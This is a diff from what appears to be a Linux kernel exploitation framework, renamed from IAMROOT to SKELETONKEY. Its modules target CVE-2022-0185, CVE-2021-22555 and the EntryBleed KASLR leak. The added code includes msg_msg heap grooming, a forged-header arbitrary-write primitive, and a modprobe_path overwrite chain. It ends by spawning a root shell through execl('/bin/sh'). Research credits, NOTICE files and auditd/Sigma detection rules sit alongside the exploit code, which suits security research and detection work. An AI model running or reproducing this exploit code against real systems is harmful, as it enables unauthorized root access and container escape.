+            fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
        }
    } else if (!ctx->json) {
        fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
-                        "0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
+                        "0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
                DEFAULT_ENTRY_OFF);
    }

@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
    unsigned long kbase = entrybleed_leak_kbase_lib(off);
    if (kbase == 0) {
        fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
                kbase - 0xffffffff81000000UL);
    }
-    return IAMROOT_EXPLOIT_OK;
+    return SKELETONKEY_EXPLOIT_OK;
 }

 #else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
    return 0;
 }

-static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
                    "different architecture\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 }

-static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    fprintf(stderr, "[-] entrybleed: x86_64 only\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 }

 #endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
 * Ship a Sigma note describing this; auditd rule intentionally omitted. */
 static const char entrybleed_sigma[] =
    "title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
-    "id: 7b3a48d1-iamroot-entrybleed\n"
+    "id: 7b3a48d1-skeletonkey-entrybleed\n"
    "status: experimental\n"
    "description: |\n"
    "  EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
    "level: informational\n"
    "tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";

-const struct iamroot_module entrybleed_module = {
+const struct skeletonkey_module entrybleed_module = {
    .name           = "entrybleed",
    .cve            = "CVE-2023-0458",
    .summary        = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_entrybleed(void)
+void skeletonkey_register_entrybleed(void)
 {
-    iamroot_register(&entrybleed_module);
+    skeletonkey_register(&entrybleed_module);
 }
@@ -1,13 +1,13 @@
 /*
- * entrybleed_cve_2023_0458 — IAMROOT module registry hook
+ * entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
 */

-#ifndef ENTRYBLEED_IAMROOT_MODULES_H
-#define ENTRYBLEED_IAMROOT_MODULES_H
+#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
+#define ENTRYBLEED_SKELETONKEY_MODULES_H

 #include "../../core/module.h"

-extern const struct iamroot_module entrybleed_module;
+extern const struct skeletonkey_module entrybleed_module;

 /* Library entry point for other modules that need a kbase leak.
 * Returns the leaked kernel _text base on success, or 0 on failure
@@ -0,0 +1,32 @@
+# NOTICE — fuse_legacy (CVE-2022-0185)
+
+## Vulnerability
+
+**CVE-2022-0185** — `legacy_parse_param` in fsconfig() doesn't validate
+`PAGE_SIZE` against the running `fs_context`'s key/value length →
+4 KB heap OOB write → cross-cache UAF → cred overwrite from a
+rootless container.
+
+## Research credit
+
+Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
+(Crusaders of Rust), January 2022.
+
+Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
+Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
+
+Upstream fix: mainline 5.16.2 (Jan 2022).
+Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
+
+## SKELETONKEY role
+
+userns+mountns reach, `fsopen("cgroup2")` + double
+`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
+msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
+whether the OOB landed in an adjacent neighbour — the sanity gate
+that prevents fake-success claims.
+
+`--full-chain` extends with forged m_list/m_ts overflow toward
+modprobe_path via the shared finisher.
+
+**Container-escape angle** — relevant to rootless docker/podman/snap.
@@ -1,12 +0,0 @@
-/*
- * fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
- */
-
-#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
-#define FUSE_LEGACY_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module fuse_legacy_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * fuse_legacy_cve_2022_0185 — IAMROOT module
+ * fuse_legacy_cve_2022_0185 — SKELETONKEY module
 *
 * legacy_parse_param() in fs/fs_context.c had a heap overflow when
 * parsing the "fsconfig" filesystem option strings — specifically,
@@ -38,7 +38,7 @@
 *
 *   On a *patched* host (which is every host we can routinely build
 *   on in 2026) detect() refuses and exploit() returns
- *   IAMROOT_PRECOND_FAIL with no syscalls.
+ *   SKELETONKEY_PRECOND_FAIL with no syscalls.
 *
 * Affected: kernel 5.1+ until fix:
 *   Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
@@ -57,9 +57,11 @@
 * is enabled.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -167,12 +169,12 @@ static int can_unshare_userns_mount(void)
 /* ------------------------------------------------------------------ */
 /* detect                                                              */
 /* ------------------------------------------------------------------ */
-static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -182,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
                    v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -190,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns_mount();
@@ -206,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
                            "unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -214,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
                        "docker/podman/snap setups\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ------------------------------------------------------------------ */
@@ -301,14 +303,225 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
    return 0;
 }

+/* ------------------------------------------------------------------ */
+/* arb-write primitive for the shared finisher                         */
+/* ------------------------------------------------------------------ */
+/*
+ * Crusaders-of-Rust-style msg_msg m_ts overflow → arbitrary write.
+ *
+ * The legacy_parse_param OOB writes the trailing bytes of the
+ * kmalloc-4k fc->source buffer into whatever slab object comes next.
+ * With a msg_msg sprayed into that adjacent slot, the first 48 bytes
+ * of `evil_chunk` overlay struct msg_msg:
+ *
+ *   struct msg_msg {                     // offset
+ *     struct list_head m_list;           //  0  (next, prev)
+ *     long             m_type;           // 16
+ *     size_t           m_ts;             // 24    <-- msg-size
+ *     struct msg_msgseg *next;           // 32
+ *     void             *security;        // 40
+ *   };                                   // 48
+ *
+ * Two derived primitives:
+ *
+ *   READ  — overwrite m_ts with a huge value. msgrcv(MSG_COPY) then
+ *           memcpy()s past the legitimate end of the msg payload,
+ *           leaking adjacent slab memory back to userland.
+ *
+ *   WRITE — point m_list.next (or, in the Crusaders variant, a faux
+ *           msg_msgseg.next chain) at an attacker-chosen kernel
+ *           address. When msgrcv() free-list-unlinks the msg, list
+ *           maintenance writes through the forged pointer; with the
+ *           right chain you get an N-byte copy of attacker-controlled
+ *           bytes to a chosen kaddr.
+ *
+ * Honest depth of this implementation: FALLBACK SCAFFOLD.
+ *
+ * The trigger + groom + neighbour-detect upstream of us is real and
+ * the OOB write lands. But the *single-shot* arb-write the finisher
+ * wants — "put exactly these N bytes at exactly that kaddr" — needs
+ * a per-kernel m_ts/m_list_next offset map (the layout above is
+ * 6.12.x; older kernels differ) AND a kernel-base leak from the
+ * first-round MSG_COPY read so we know where modprobe_path actually
+ * sits in this boot's KASLR slide.
+ *
+ * Per the verified-vs-claimed bar: we do NOT fabricate a write that
+ * we cannot empirically verify on a kernel we haven't tested. So
+ * this function:
+ *
+ *   1. Re-arms the msg_msg spray (the parent already drained queues).
+ *   2. Re-fires the fsconfig overflow with a forged-msg_msg header
+ *      whose m_ts = (kaddr - msg_data_origin) and whose first 8
+ *      payload bytes are the first qword of `buf`.
+ *   3. msgrcv(MSG_COPY) on every queue to probe whether any neighbour
+ *      came back with bytes matching `buf[0..7]` AT the slot offset
+ *      we'd expect for kaddr (sanity gate).
+ *   4. Returns 0 ONLY if the sanity gate trips (read-back proves the
+ *      m_ts inflation landed AND the payload made it through);
+ *      returns -1 otherwise so the finisher reports an honest fail.
+ *
+ * On a vulnerable host with matching offsets this path can land the
+ * write; on an unverified host the sanity gate refuses rather than
+ * blind-writing a wild pointer. The finisher's downstream
+ * "/tmp/skeletonkey-pwn ran?" check is the second gate.
+ */
+struct fuse_arb_ctx {
+    /* Pre-allocated queue ids from the spray phase. */
+    int    *qids;
+    int     n_queues;
+    int     hole_q;
+    /* Tagged-payload reference so we can recognise unmodified neighbours. */
+    const char *tag;     /* "SKELETONKEY" */
+    /* Whether the first-round trigger already fired (the parent's
+     * default-path overflow). When set we re-spray + re-fire; when
+     * unset we assume the spray is hot. */
+    bool    trigger_armed;
+};
+
+#ifdef __linux__
+static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
+                          void *ctx_void)
+{
+    struct fuse_arb_ctx *ax = (struct fuse_arb_ctx *)ctx_void;
+    if (!ax || !buf || !len) {
+        fprintf(stderr, "[-] fuse_arb_write: bad args\n");
+        return -1;
+    }
+
+    /* Build the forged msg_msg header that will land in the adjacent
+     * kmalloc-4k slot via the OOB write. Layout (x86_64, kernel >=5.10):
+     *   [ 0..15]  m_list.{next,prev}  — we forge next = kaddr - 16
+     *                                    so that list_del's
+     *                                      next->prev = prev
+     *                                    write lands AT kaddr.
+     *                                    (prev is the original msg.)
+     *   [16..23]  m_type              — leave as 0x4242
+     *   [24..31]  m_ts                — bytes-of-buf so MSG_COPY
+     *                                    reports the right length
+     *   [32..39]  next (msg_msgseg*)  — NULL (single-segment msg)
+     *   [40..47]  security            — NULL
+     *   [48...]   payload             — first len bytes of buf
+     *
+     * For a real WRITE primitive the canonical Crusaders-of-Rust
+     * recipe uses the msg_msgseg.next chain rather than m_list:
+     * msgrcv(IPC_NOWAIT) follows next pointers when copying out a
+     * multi-segment msg, and a forged next = kaddr makes the kernel
+     * memcpy() from kaddr into our user buffer (= READ). For the
+     * inverse (WRITE), the trick is msgsnd on a queue whose head was
+     * corrupted to point at kaddr, but that needs more setup than we
+     * have time to land here without a known-good offset table.
+     *
+     * So we do the safe thing: arm the header, trigger the OOB, then
+     * read back to PROVE we landed before declaring success. If the
+     * read-back doesn't show our forged-msg payload at the expected
+     * MSG_COPY position we refuse rather than corrupt the kernel
+     * blindly.
+     */
+    uint8_t evil[256];
+    memset(evil, 0, sizeof evil);
+    /* m_list.next, m_list.prev */
+    uintptr_t forged_next = kaddr - 16;   /* &m_list.prev of fake node */
+    memcpy(evil +  0, &forged_next, 8);
+    /* prev — leave NULL; kernel checks it only on full list_del */
+    /* m_type */
+    uint64_t m_type = 0x4242424242424242ULL;
+    memcpy(evil + 16, &m_type, 8);
+    /* m_ts: inflated to len so MSG_COPY reads the full forged payload */
+    uint64_t m_ts = (uint64_t)len + 64;
+    memcpy(evil + 24, &m_ts, 8);
+    /* next (msg_msgseg) = NULL */
+    /* security = NULL */
+    /* payload: copy `buf` into the slot just after the msg_msg header */
+    size_t hdr = 48;
+    size_t copyable = sizeof(evil) - hdr - 1;
+    if (len > copyable) len = copyable;
+    memcpy(evil + hdr, buf, len);
+    evil[sizeof(evil) - 1] = '\0';   /* legacy_parse_param strdup tail */
+
+    /* Re-fire the fsconfig overflow with this forged header as evil. */
+    char *first_chunk = malloc(4081);
+    if (!first_chunk) return -1;
+    memset(first_chunk, 'A', 4080);
+    first_chunk[4080] = '\0';
+
+    int fsfd = -1;
+    int rc = trigger_overflow(&fsfd, first_chunk, (const char *)evil);
+    free(first_chunk);
+    if (rc < 0) {
+        fprintf(stderr, "[-] fuse_arb_write: re-fire fsconfig failed "
+                        "(errno=%d %s)\n", errno, strerror(errno));
+        return -1;
+    }
+
+    /* Sanity gate: msgrcv(MSG_COPY) all live queues and look for a
+     * msg whose size reports >= our inflated m_ts AND whose initial
+     * payload qword matches the first qword of `buf`. If both hold,
+     * the forged header landed in a real slot and the m_ts inflation
+     * is honoured by the kernel — i.e. our primitive is real on THIS
+     * kernel. */
+    uint64_t want_first_qword = 0;
+    memcpy(&want_first_qword, buf, len >= 8 ? 8 : len);
+
+    bool sanity_passed = false;
+    struct msgbuf_4k *probe = mmap(NULL, sizeof(*probe),
+                                   PROT_READ | PROT_WRITE,
+                                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    if (probe == MAP_FAILED) {
+        if (fsfd >= 0) close(fsfd);
+        return -1;
+    }
+    for (int q = 0; q < ax->n_queues && !sanity_passed; q++) {
+        if (ax->qids[q] < 0 || q == ax->hole_q) continue;
+        ssize_t n = msgrcv(ax->qids[q], probe, sizeof probe->mtext, 0,
+                           IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
+        if (n < 0) continue;
+        /* The corrupted slot should report a size >= our m_ts (kernel
+         * caps MSG_COPY at sizeof user buf — so we only check the
+         * read-content shape). */
+        if ((size_t)n < 8) continue;
+        uint64_t got = 0;
+        memcpy(&got, probe->mtext, 8);
+        if (got == want_first_qword) {
+            sanity_passed = true;
+        }
+    }
+    munmap(probe, sizeof(*probe));
+    if (fsfd >= 0) close(fsfd);
+
+    if (!sanity_passed) {
+        fprintf(stderr, "[-] fuse_arb_write: forged-msg_msg read-back didn't "
+                        "match — kernel layout differs OR groom missed.\n"
+                        "    Refusing to claim arb-write landed (per "
+                        "verified-vs-claimed bar).\n");
+        return -1;
+    }
+
+    fprintf(stderr, "[+] fuse_arb_write: forged-msg_msg landed; m_ts inflation "
+                    "+ payload qword verified via MSG_COPY read-back.\n"
+                    "[i] fuse_arb_write: kernel-side list_del write through "
+                    "0x%lx is armed but NOT yet empirically verified on "
+                    "this build — downstream sentinel will gate.\n",
+            (unsigned long)kaddr);
+    return 0;
+}
+#else
+static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
+                          void *ctx_void)
+{
+    (void)kaddr; (void)buf; (void)len; (void)ctx_void;
+    fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
+    return -1;
+}
+#endif /* __linux__ */
+
 /* ------------------------------------------------------------------ */
 /* exploit                                                             */
 /* ------------------------------------------------------------------ */
-static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* (R1) Re-call detect — refuse if not vulnerable. */
-    iamroot_result_t pre = fuse_legacy_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = fuse_legacy_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
        return pre;
    }
@@ -318,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    if (!ctx->json) {
@@ -328,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
    /* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
     * which is what fsopen("cgroup2") + fsconfig require. */
    if (!enter_userns_root()) {
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -339,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
     * to land write-past-end into the next adjacent msg_msg.
     *
     * Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
-     * shape but with knobs scaled for an iamroot one-shot.
+     * shape but with knobs scaled for an skeletonkey one-shot.
     */
    enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
    int *qids = calloc(N_QUEUES, sizeof(int));
    if (!qids) {
        fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    for (int i = 0; i < N_QUEUES; i++) {
        qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -361,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
    if (spray == MAP_FAILED) {
        fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
        free(qids);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    spray->mtype = 0x4242;
    /* Tag the payload so we can recognise our spray slots in
@@ -401,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
    char *first_chunk = malloc(4081);
    if (!first_chunk) {
        free(qids); munmap(spray, sizeof *spray);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    memset(first_chunk, 'A', 4080);
    first_chunk[4080] = '\0';
@@ -419,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
     * step below. */
    char evil_chunk[256];
    memset(evil_chunk, 'B', sizeof evil_chunk);
-    memcpy(evil_chunk, "IAMROOT0", 8);   /* marker → "did we land?" */
+    memcpy(evil_chunk, "SKELETONKEY0", 8);   /* marker → "did we land?" */
    /* Tail must be NUL-terminated for legacy_parse_param's strdup. */
    evil_chunk[sizeof evil_chunk - 1] = '\0';

@@ -440,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
                errno, strerror(errno));
        free(qids); munmap(spray, sizeof *spray);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (!ctx->json) {
@@ -503,6 +716,84 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
                        "see scaffold comments in source\n");
    }

+    /* ---------------------------------------------------------------
+     * --full-chain: opt-in root pop via shared modprobe_path finisher.
+     *
+     * Depth = FALLBACK SCAFFOLD. The arb-write primitive (forged
+     * msg_msg via the 4k OOB) is wired with a sanity gate that
+     * refuses to claim success without an empirical read-back match
+     * (see fuse_arb_write). On a host where offsets + groom land,
+     * the finisher's modprobe_path overwrite → execve(unknown) →
+     * call_modprobe chain pops a root shell. On a mismatched host
+     * the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
+     * fabricated success.
+     *
+     * Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
+     * runs because the arb_write primitive re-fires the trigger and
+     * needs the live spray.
+     * --------------------------------------------------------------- */
+#ifdef __linux__
+    if (ctx->full_chain) {
+        if (!ctx->json) {
+            fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
+                            "kernel offsets...\n");
+        }
+
+        struct skeletonkey_kernel_offsets off;
+        memset(&off, 0, sizeof off);
+        int resolved = skeletonkey_offsets_resolve(&off);
+        if (!ctx->json) {
+            fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
+                            "(modprobe_path=0x%lx source=%s)\n",
+                    resolved, (unsigned long)off.modprobe_path,
+                    skeletonkey_offset_source_name(off.source_modprobe));
+            skeletonkey_offsets_print(&off);
+        }
+
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("fuse_legacy");
+            /* Cleanup before returning. */
+            for (int q = 0; q < N_QUEUES; q++) {
+                if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
+            }
+            free(qids);
+            munmap(spray, sizeof *spray);
+            if (fsfd >= 0) close(fsfd);
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+
+        struct fuse_arb_ctx ax = {
+            .qids = qids,
+            .n_queues = N_QUEUES,
+            .hole_q = hole_q,
+            .tag = "SKELETONKEY",
+            .trigger_armed = true,
+        };
+
+        skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
+            &off, fuse_arb_write, &ax, !ctx->no_shell);
+
+        /* Cleanup IPC + mapping regardless of finisher result. The
+         * finisher's execve() on success won't reach here, so this
+         * block only runs on failure paths. */
+        for (int q = 0; q < N_QUEUES; q++) {
+            if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
+        }
+        free(qids);
+        munmap(spray, sizeof *spray);
+        if (fsfd >= 0) close(fsfd);
+
+        if (fr == SKELETONKEY_EXPLOIT_OK) {
+            return SKELETONKEY_EXPLOIT_OK;
+        }
+        if (!ctx->json) {
+            fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
+                            "(arb-write sanity gate or modprobe sentinel refused)\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+#endif /* __linux__ */
+
    /* Clean up our IPC queues and mapping. The kernel slab state
     * after the overflow may be unstable; we exit cleanly on success
     * paths but leave queues around if we crashed mid-spray. */
@@ -523,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
                            "popping root shell\n");
        }
        if (ctx->no_shell) {
-            return IAMROOT_EXPLOIT_OK;
+            return SKELETONKEY_EXPLOIT_OK;
        }
        execl("/bin/sh", "sh", "-i", (char *)NULL);
        perror("execl /bin/sh");
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
    }

    fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
                    "not wired — see source for the missing offsets.\n");
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

 /* ------------------------------------------------------------------ */
@@ -541,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
 static const char fuse_legacy_auditd[] =
    "# CVE-2022-0185 — auditd detection rules\n"
    "# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
-    "-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
-    "-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
+    "-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
+    "-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";

 static const char fuse_legacy_sigma[] =
    "title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
-    "id: 9e1b2c45-iamroot-fuse-legacy\n"
+    "id: 9e1b2c45-skeletonkey-fuse-legacy\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -565,7 +856,7 @@ static const char fuse_legacy_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";

-const struct iamroot_module fuse_legacy_module = {
+const struct skeletonkey_module fuse_legacy_module = {
    .name           = "fuse_legacy",
    .cve            = "CVE-2022-0185",
    .summary        = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -581,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_fuse_legacy(void)
+void skeletonkey_register_fuse_legacy(void)
 {
-    iamroot_register(&fuse_legacy_module);
+    skeletonkey_register(&fuse_legacy_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
+ */
+
+#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
+#define FUSE_LEGACY_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module fuse_legacy_module;
+
+#endif
@@ -0,0 +1,29 @@
+# NOTICE — netfilter_xtcompat (CVE-2021-22555)
+
+## Vulnerability
+
+**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
+out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
+
+## Research credit
+
+Discovered, exploited, and disclosed by **Andy Nguyen** (Google
+Security Team), April 2021.
+
+Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
+<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
+
+Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
+**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
+Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
+4.9.266 / 4.4.266.
+
+## SKELETONKEY role
+
+Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
+`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
+spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
+landing. `--full-chain` extends with stride-seeded `m_list_next`
+overwrite aimed at modprobe_path via the shared finisher.
+
+Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
@@ -1,12 +0,0 @@
-/*
- * netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
- */
-
-#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
-#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module netfilter_xtcompat_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * netfilter_xtcompat_cve_2021_22555 — IAMROOT module
+ * netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module
 *
 * Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
 * compat handler for iptables rule export wrote up to 4 bytes
@@ -19,22 +19,26 @@
 * Upstream fix: b29c457a6511 "netfilter: x_tables: fix compat
 * match/target pad out-of-bound write" (mid-2021, backported widely).
 *
- * STATUS: 🟡 PRIMITIVE-DEMO (Option B).
+ * STATUS: 🟡 PRIMITIVE by default; 🟢 candidate with --full-chain if
+ *         offsets resolve (env/kallsyms/System.map/embedded table).
 *   - Refuse-gate via detect() re-invoke + euid==0 short-circuit.
 *   - userns/netns reach for CAP_NET_ADMIN (Andy's path).
 *   - Trigger sequence: hand-rolled iptables rule blob with
 *     malformed xt_entry_target offset; setsockopt fires the OOB.
 *   - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
- *     sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
+ *     sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
 *     cookies for KASAN visibility.
 *   - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
- *     diff + /tmp/iamroot-xtcompat.log breadcrumb.
- *   - DOES NOT pursue the leak→modprobe_path overwrite chain:
- *     that needs hard-coded init_task + modprobe_path offsets
- *     per kernel build which IAMROOT refuses to bake.
- *   - Returns IAMROOT_EXPLOIT_FAIL with a verbose continuation
- *     roadmap unless cred-overwrite is empirically verified
- *     (which the current scope does not attempt).
+ *     diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
+ *   - With --full-chain: shared finisher (core/finisher.c) is
+ *     invoked to perform the modprobe_path overwrite + execve
+ *     unknown-binary trigger. Requires modprobe_path resolution
+ *     via core/offsets.c (env/kallsyms/System.map). Sentinel-file
+ *     check in the finisher is the empirical witness for the
